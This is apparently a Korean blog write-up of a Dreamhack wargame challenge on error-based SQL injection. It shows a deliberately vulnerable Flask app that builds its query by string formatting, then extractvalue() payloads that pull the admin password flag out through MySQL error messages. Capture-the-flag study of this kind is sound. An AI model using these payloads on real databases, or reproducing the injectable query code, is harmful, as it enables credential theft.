error based sql injection

2026. 2. 3. 23:27·Dreamhack 워게임/Lv.1
반응형

문제 설명

Simple Error Based SQL Injection !


코드 분석

deploy / app.py

template ='''
<pre style="font-size:200%">SELECT * FROM user WHERE uid='{uid}';</pre><hr/>
<form>
    <input tyupe='text' name='uid' placeholder='uid'>
    <input type='submit' value='submit'>
</form>
'''

@app.route('/', methods=['POST', 'GET'])
def index():
    uid = request.args.get('uid')
    if uid:
        try:
            cur = mysql.connection.cursor()
            cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
            return template.format(uid=uid)
        except Exception as e:
            return str(e)
    else:
        return template
  • uid를 쿼리 스트링으로 입력받음
  • uid 값이 그대로 쿼리 문자열에 들어감 
  • 에러 메시지가 그대로 노출됨

deploy / init.sql

USE `users`;
CREATE TABLE user(
  idx int auto_increment primary key,
  uid varchar(128) not null,
  upw varchar(128) not null
);

INSERT INTO user(uid, upw) values('admin', 'DH{**FLAG**}');
INSERT INTO user(uid, upw) values('guest', 'guest');
INSERT INTO user(uid, upw) values('test', 'test');
  • admin, guest, test 있고 admin의 upw에 플래그가 들어가 있음
    즉 admin의 upw를 가져오면 플래그 획득

취약점 분석

  • uid를 그대로 쿼리 문자열에 들어가 SQL Injection 가능
  • 에러 메시지가 그대로 노출되어서 error based SQL Injection 가능

익스플로잇

먼저 SQL Injection 확인을 해봄

uid에 ' admin -- 을 입력

다음과 메시지가 나오는데 SQL 문법 오류라고 뜸. SQL이 실행되기는 한다는 뜻인데 에러를 발생시킴

 

에러 메시지는 화면에 출력한다는 힌트를 얻었으니 앞서 배운 extractvalue()로 에러를 발생시킴

' and extractvalue(1, concat(0x3a,'OK')) -- -

다음과 같은 구문을 만들어주고 화면에 :OK가 뜨면 성공

 

앞서 user 테이블 쓰는 것도 확인했음

 

따라서 총 페이로드를 작성해주면

' and extractvalue(1, concat(0x3a,(select upw from user where uid='admin'))) -- -
  • admin의 upw가 플래그이니까 문자열을 합쳐주면 됨

문자열이 잘리는 것을 봐서 substr() 함수로 나눠서 추출

' and extractvalue(1, concat(0x3a, substr((select upw from user where uid='admin'),1,20))) -- -
' and extractvalue(1, concat(0x3a, substr((select upw from user where uid='admin'),20,40))) -- -

 두 페이로드를 각각 써주면

앞에서 20번째 글자가 서로 겹치니 21로 하셔도 되고 8을 한번 빼도 됩니다.

플래그 획득

반응형

'Dreamhack 워게임 > Lv.1' 카테고리의 다른 글

sql injection bypass WAF  (0) 2026.02.06
Command Injection Advanced  (0) 2026.02.06
easy client side  (0) 2026.02.03
easy server side  (0) 2026.02.03
php-1  (0) 2026.02.02
'Dreamhack 워게임/Lv.1' 카테고리의 다른 글
  • sql injection bypass WAF
  • Command Injection Advanced
  • easy client side
  • easy server side
y3onbug5
y3onbug5
y3onbug5 님의 블로그 입니다.
  • y3onbug5
    y3onbug5 님의 블로그
    y3onbug5
  • 전체
    오늘
    어제
    • 분류 전체보기 (167) N
      • Alpacahack (19) N
      • Dreamhack 워게임 (49)
        • Lv.1 (40)
        • Lv.0 (4)
        • LV.2 (3)
        • LV.3 (2)
      • [Dreamhack] Web Beginner (3)
      • [Dreamhack] Web Hacking (17)
        • 웹 기초 지식 (4)
        • Cookie & Session (2)
        • Cross-Site Scripting(XSS) (1)
        • Cross-Site Request Forgery (1)
        • SQL Injection (4)
        • NoSQL Injection (2)
        • Command Injection (1)
        • File Vulnerability (1)
        • Server-Side Request Forgery (1)
      • [Dreamhack] Web Hacking Client-Side (10)
        • XSS Filtering Bypass (2)
        • Content Security Policy (CSP) (2)
        • CSRF,CORS Bypass (2)
        • Client-Side Template Injection (CSTI) (1)
        • CSS Injection (1)
        • Relative Path Overwrite (RPO) (1)
        • DOM Vulnerability (1)
      • [Dreamhack] Web Hacking Server-Side (15)
        • SQL Injection Advanced (4)
        • SQL Injection Advanced - Fingerprinting (2)
        • NoSQL Injection Advanced (3)
        • Command Injection Advanced - Web Servers (3)
        • File Vulnerability Advanced - Web Server (3)
      • [Dreamhack]Black-Box Penetration Testing (15)
        • DreamCommunity Penetration Testing (11)
      • [Dreamhack] LLM (2)
        • [Dreamhack] LLM과 프롬프트 엔지니어링 (2)
      • Web 공부 (4)
      • Web Study (15)
      • JavaScript (17)
        • 기초 (12)
        • 중급 (4)
      • 웹 개발(Flask) (0)
      • [Security First] web 기초교육 (1) N
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    드림핵
    hacking
    CSRF
    web
    LLM
    JS
    DreamHack
    webstudy
    xss
    cve
    webhacking
    JavaScript
    alpacahack
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.5
y3onbug5
error based sql injection
상단으로

티스토리툴바